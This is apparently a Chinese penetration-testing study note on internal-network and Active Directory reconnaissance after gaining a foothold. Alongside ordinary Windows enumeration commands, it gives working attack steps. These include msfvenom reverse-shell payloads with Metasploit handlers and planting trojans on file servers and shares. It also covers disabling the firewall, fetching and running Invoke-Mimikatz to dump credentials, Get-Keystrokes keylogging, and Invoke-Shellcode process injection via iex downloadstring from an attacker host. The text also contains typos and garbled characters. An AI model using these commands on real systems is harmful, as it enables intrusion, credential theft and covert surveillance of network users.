02.内网信息收集

内网信息收集概述
本地信息收集
域环境信息收集ios


服务器收集 更要全面一些
是否要提权web


pc 域用户权限:shell

网络的收集
网段网络中其余主机和设备windows


PART 1: 内网信息收集概述跨域

内网信息收集概述
当咱们渗透进内网环境后,对网络拓扑一无所知,测试人员应先对当前网络环境作出判断。对当前机器角色分析,对机器所处网络环境拓扑结构分析,对机器所处区域分析。
当前机器角色分析:
判断当前主机是web服务器/开发测试服务器/公共服务器/文件服务器/代理服务器/dns服务器/仍是存储服务器等。具体判断过程可根据主机名,文件,网络连接状况综合完成。
对机器所出网络环境分析:
是指对所处内网进行全面数据收集和分析整理,绘制出大体的内网总体结构拓扑。
对机器所处区域分析:
判断机器所处于网络拓扑哪一个区域,是在dmz/办公区/仍是核心区/区域并非绝对的,因此区域界限也是相对的。浏览器

经过web进入:
若是经过web进去的服务器里面还有,文件服务器:全部人都得访问这个文件服务器.
替换掉文件植入马,许多人就会去下载拿到控制权缓存

若是里面有DNS:
经过DNS能够看到解析有没有内网的服务器,例如客服管理平台等之类的,域环境也能看到.安全

若是搭建了DHCP服务器能够去查看他有哪些网段:
若是有能够肯定他的内网都是经过这台DHCP服务器来分发的,会有多组网段'服务器

开发测试服务器:
能够得到测试和开发的产品网络

代理服务器:
能够获取内网我的pc的帐号并以登陆


PART 2: 本地信息收集

本机的信息收集
本机信息收集包括操做系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络链接、共享、会话等。若是是域内主机,那么操做系统、应用软件、补丁、服务、杀毒软件通常都是批量安装的。
手动信息收集
查询网络配置信息

inconfig /all
查询操做系统及软件信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 查询操做系统和版本信息 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 查询操做系统和版本信息 中文系统
echo %PROCESSOR_ARCHITECTURE% 查看系统体系结构
wmic prouct get name, version 查看安装的软件的版本、路径等
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" PowerShell收集软件的版本信息

权限不一样收集的不一样:
普通用户没法获取密码信息/sam没有权限
客服电脑通常是管理员得提到system权限 用Uac提权


内网IP地址段:
服务器:
ipconfig /all:通常会有多个网卡,有多个网卡就有多个网段
如何查找内网网段:
1.用工具扫网段(192.168.0.10/192.168.1.10/192.168.3.10)
s.exe 基于TCP和SYN扫描 192.168.0.0 192.1168.255.255 445
若是192.168.10.100 445端口开放, 就证实10网段有主机在使用

2.文件共享连接记录(ftp连接记录)浏览器访问记录,mstsc3389链接记录
若是某台内网机器提供文件共享下载,那么垮网段也能访问
测试方法win+r输入\\1 会有历史记录
测试方法个人电脑ftp 会有历史记录
远程桌面链接 会有历史记录
网页就打开浏览器访问历史记录

3.抓包分析网络流量 混杂模式 wireshark-win32_cn
用msf 经过meterpreter来创建回弹链接抓取流量,要作转发

4.黑掉路由器,核心交换机

当有了其余的网段就能够纵向渗透不然一直都是横向


看进程:tasklist

看端口:netstat -an
看服务:看端口就能看到服务

看补丁:systeminfo

看网络链接:netstat -ano

看共享:net share

查看计划任务:黑客会定时建立管理员用户名或者执行程序

查询用户列表
net user 查看本机用户列表
net localgroup administrators 获取本地管理员信息
query user || qwinsta 查看在线用户


查询本机共享列表
查看本机共享列表和可访问的域共享列表
wmic share get name,path,status 查找共享列表
查看后对相应的文件捆绑paylod作会话链接
也能够映射远程主机的盘由于默认c,d,e都是默认共享
映射方法:net use k: \\192.168.156.15\c$ 登陆帐号密码就行 条件开445

查询路由表以及全部可用接口的ARP缓存表:
route print
arp -a 内网的通讯这里都有记录.这个很重要,内网要通讯必定要发一个arp广播
路由默认0 走的接口网关,去往任何目的 都交给接口网关
如何看是否被欺骗,看arp缓存表若是出现重复就是被欺骗
防护方法:绑定mac地址,或者开防火墙,服务器会绑定通常
题外话,kali能够强制把https的包变成http

netsh命令能够作端口转发:
某服务器用公网ip,也能够访问内网.单服务器却在内网,简称站库分离,
用netsh把公网的3306端口转到内网的3306这样就能够转发了
百度搜索 netsh 端口转发

-----------------------------------------------
wmic service list brief 查询本机服务信息
查询进程列表
tasklist 查看当前进程列表和进程用户
wmic process list brief 查询进程信息
查看启动程序信息
wmic startup get command, caption
查看计划任务
schtasks /query /fo LIST /v
查看主机开机时间
net statistics workstation
查询用户列表
net user 查看本机用户列表
net localgroup administrators 获取本地管理员信息
query user || qwinsta 查看在线用户
列出或断开本地计算机与所链接的客户端的对话
net session
查询端口列表
netstat -ano
查看补丁列表
systeminfo 查看系统详情
wmic qfe get Caption,Description,HotFixID,InstalledOn 查看补丁的名称、描述、ID、安装时间等
查询本机共享列表
查看本机共享列表和可访问的域共享列表
wmic share get name,path,status 查找共享列表
查询路由表以及全部可用接口的ARP缓存表
route print
arp -a
查询防火墙相关配置
netsh firewall set opmode disable 关闭防火墙(Windows Server 2003 之前的版本)
netsh advfirewall set allprofiles state off 关闭防火墙(Windows Server 2003 之后的版本)
netsh firewall show config 查看防火墙配置
自动信息收集
为了简化手动信息收集的繁琐步骤,咱们可用使用自动化脚本 —— WMIC(Windows Management InstrumentationCommand Line,Windows管理工具命令行)脚本,脚本下载地址,执行该脚本之后,会将信息收集的结果写入HTML文档。
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar


PART 3: 域环境信息收集

查看当前全权限
whoami 查看当前权限
whoami /all 获取SID
net user xxx /domain 查询指定用户的详情信息
判断是否存在域
ipcondig /all 可查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处在同一网段等... 而后,经过反向解析查询命令nslookup来解析域名的IP地址,用解析到的IP地址进行对比,判断域控服务器和DNS服务器是否在同一台机器上。
systeminfo 对比查看"域(域名)"和"登陆服务器(域控制器)"的信息是否互相匹配。
net config workstation 对比查看"工做站域DNS名称(域名)"和"登陆域()域控制器"的信息是否相匹配。
net time /domain 判断主域。


实战
能够登陆3389选项里有驱动器勾选上就能够拖物理机的资源,弊端就是本身的盘符也会进入目标机,管理员可能会映射
命令行收集很麻烦并且容易发现,就是msf收集
制做马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.182.138 lport=1121 -f exe > xy.exe

开侦听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.182.138
set lport 1121
run

把马放进03服务器
等待回链

hashdump收集hsx
进入shell
看进程,等等均可以
background挂起
----------------------------------------------


域收集
把马放进win7点击回链

对话生成后: //生成对话后可使用 run winenum 收集命令的信息
进入shell
whoami
查看帐号 fanghan域里fh1帐号
----------------------------------------

whoami /all
看权限以及域用户的SID //之后用来作黄金票据和白银票据
:S-1-5-21-2511895695-3322341454-56546430-1103
S-1-5-21-2511895695-3322341454-56546430只要1103这一部分
---------------------------------------------------------

net user xxx /domain 查询指定用户的详情信息
net user fh1 /domain 看获得什么时间建立的以及
----------------------------------------------------------

net user domain 查询域用户
这条命令是直接上传到域控的
---------------------------------------------------------

net time /domain 判断主域。
能够看见主域控的地址
\\WIN-9JJK4CNGD41.fanghan.com �ĵ�ǰʱ���� 2020/11/18 2:14:59
尝试访问
dir \\WIN-9JJK4CNGD41.fanghan.com\c$ 访问失败没有权限
能够用漏洞提权或者身份访问或者白银黄金票据访问

--------------------------------
探测域内存活主机
使用nbtscan扫描本地或远程TCP/IP网络上开放的NetBIOS名称服务器,使用方法:nbt.exe 192.168.1.1/20, 输出的结果第一列为IP地址,第二列为机器名和所在域的名称,第三列即最后一列为及其所开启的服务的列表。
使用ICMP协议快速探测内网
arp-scan工具 使用方法:arp.exe -t 192.168.1.1/20 //后面讲
Empire的arpscan模块 //后面讲
Nishang中的Invoke-ARPScan.ps1脚本 //后面讲

--------------------
域内端口扫描
注意端口banner信息
探测端口开放的服务
注意探测端口触发防护系统
域内存活主机探测
利用netbios探测内网
使用工具:nbtscan
使用方法:
nbtscan.exe 192.168.0.1-254
工具地址在:内网安全---NBTSCAN
上传到目标主机.cmd进入目录
nbtscan.exe 运行就看到用法了
例如:
192.168.8.0/24
能快快速扫描网络其余主机以及主机名和mac地址用于横向纵向
----------------------------

工具2 s.exe
工具地址在:密码破解---3389---s.exe
192.168.8.1 192.168.8.254 445 512 //512是线程
-----------------

收集域内基础信息
net view /domain 查询域
net view /domain:HACHE 查询域内的全部计算机
net group /domain 查询域内的全部计算机
net group "domain computers" /domain 查询全部域成员计算机列表
net group "domain admins" /domain 查看域管理员
net accounts /domain 获取域密码信息
nltest /domain_trusts 获取域信任信息

域组分析
*DnsUpdateProxy
*Domain Admins //2通常这个域管理员算是大的了
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins //1限最大,域林管理员组
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Read-only Domain Controllers
*Schema Admins
--------------------------------------------------

nltest /domain_trusts 获取域信任信息
能够看到本机和哪些域作了信任关系,跨域会用到 用秘钥伪造能够攻击
-----------------------------------------------------

查找域控制器
nltest /DCLIST:hacke 查看域控制器的机器名
Nslookup -type=SRV_ldap._tcp 查看域控制器的主机名
net time /domain 查看当前时间
net group "Domain Controllers" /domain 查看域控制器组
netdom query pdc 查看域控制器的机器名
命令都差很少找一个最简短的记下来
-------------------------------------------------------

获取域内的用户和管理员信息
查询域内用户列表
net user /domain 向域控制器进行查询
wmic useraccount get /all 获取域内用户的详细信息
dsquery user 查看存在的用户
net localgroup administrators 查询本地管理员用户
查询域管理员用户组
net group "domain admins" /domain 查询域管理员用户
net group "Enterprise admins" /domain 查询管理员用户组
---------------------------------------------------------

定位域管理员
在域网络攻击测试中,获取域内的一个支点后,须要获取域管理员权限;定位域内管理员的常规渠道,一是日志,二是会话。
常见域管理员定位工具:
psloggedon.exe
PVEFindADUser.exe
netview.exe
Nmap的NSE脚本
PowerView脚本
Empire的user_hunter模块

--------------------------------------------------------

查找域管理进程
net group "Domain Admins" /domain 获取域管理员列表
tasklist /v 列出本机的全部进程及进程用户
net group "Domain Controllers" /domain 查询域控制器列表
NetSess -h 收集全部活动域的会话列表
分析域内网段划分状况及拓扑结构
在掌握了内网的相关信息后, 渗透测试人员能够分析目标网络的结构和安全防护策略,获取网络信息、各部门的IP地址段,绘制内网的拓扑结构图。
---------------------------------------------------------------------------

使用powershell 收集信息 //重点来了
默认powershell是不能执行脚本的
获取脚本策略
get-executionpolicy
更改执行策略必须以管理员身份执行才能够,不然报错注册表安全问题
set-executionpolicy unrestricted
绕过脚本
-exec bypass
powershell.exe -Executionpolicy BYpass -file 123.ps1 绕过安全策略直行脚本
powershell.exe -Executionpolicy BYpass -windowstyle hidden -nologo -nonlnteractive -noprofile -file 123.ps1 本地隐藏绕过权限直行脚本
cmd下使用powershell
powershell -exec bypass "import-module c:\powershell.ps1;Get-NetUser"
powersploit 信息收集
PS C:\> import-module .\powerview.ps1
PS C:\> Get-NetDomain 获取当前的域名称
Get-Netuser 返回全部域内成员的详细信息
Get-NetDomainController 获取全部的域内的控制器信息
Get-NetComputer 获取全部域内机器的名称
Get-Netshare 获取域内的全部的网络共享
Get-NetRDPSESSION 获取指定服务的远程链接信息
Get-NetProcess 获取进程的详细信息
Get-ADOPJECT 获取活动目录的信息
这个命令是用户是否登录计算机且判断用户是否有管理员权限
invoke-processhunter

解析:
实战用到内网安全工具包--PowerSploit-master
PowerSploit-master里有不少模块,Recon是收集信息模块
Recon里有的脚本
PowerView.ps1//收集域信息
powershell调用
import-module .\powerview.ps1 //导入默认不能执行
powershell -exec bypass import-module .\powerview.ps1 //导入成功
/////实战演示失败,,,,
---------------------------------------------------------------

invoke-portscan 用于扫描端口//记得要调用powershell
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Recon/Invoke-Portscan.ps1") 下载扫描脚本到服务器
invoke-portscan -hosts 192.168.3.1,192.168.3.200 -ports "21,22,80"

invoke-mimikatz 抓密码
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -dumpcreds 导出hash

get-keystrokes 键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -logpath C:\Users\admin\123.txt 记录键盘保存到123.txt里面


实战:须要把整个PowerSploit-master 重命名PowerSploit而且放到vps上
http://vps地址/PowerSploit/Recon/Invoke-Portscan.ps1 上传到vps地址并访问成功
iex(new-object net.webclient).downloadstring("http://vps地址/PowerSploit/Recon/Invoke-Portscan.ps1") //目标机导
invoke-portscan -hosts 192.168.3.1,192.168.3.200 -ports "21,22,80" 添加端口扫描

invoke-mimikatz 抓密码
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -dumpcreds 导出hash

get-keystrokes 键盘记录
iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -logpath C:\Users\admin\123.txt 记录键盘保存到123.txt里面

-----------------
kali也有powersploit
powershell启动
ls查看模块
cd recon
ls poweview.ps1
在生成的会话框里,load powershell 加载
powershell_import 粘贴poweview.ps1路径
powershell_exeute get_NetDomain 域哪些
powershell_exeute get_NetUser 域用户
powershell_exeute get_NetCompter
-------------------------------
工具
empire
后面讲
-----------------------------------------------

如下内容粘贴复制
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.129 LPORT=1123 -f powershell -o /root/xdx.ps1

侦听
use exploit/multi/handler
set lport 1123
run

iex(new-object net.webclient).downloadstring("http://192.168.3.1/xdx.ps1") xdx.ps1 下载生成好的ps脚本

iex(new-object net.webclient).downloadstring("http://192.168.3.1/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") 下载
invoke-shellcode.ps1 能够将msf生成是payload进程注入
Invoke-Shellcode -shellcode $buf -Force 执行进程注入,msf会侦听回来一个回话

-------------------AntivirusBypass 发现杀软特征ScriptModification 在目标主机建立或者修改代码CodeExecution 在目标主机执行代码Persistence 后门脚本持久控制Exfiltration 在目标主机进行信息收集Recon 以目标主机为跳板进行内网信息侦查Mayhem 蓝屏等破坏性脚本Privesc 用于提权

相关文章
相关标签/搜索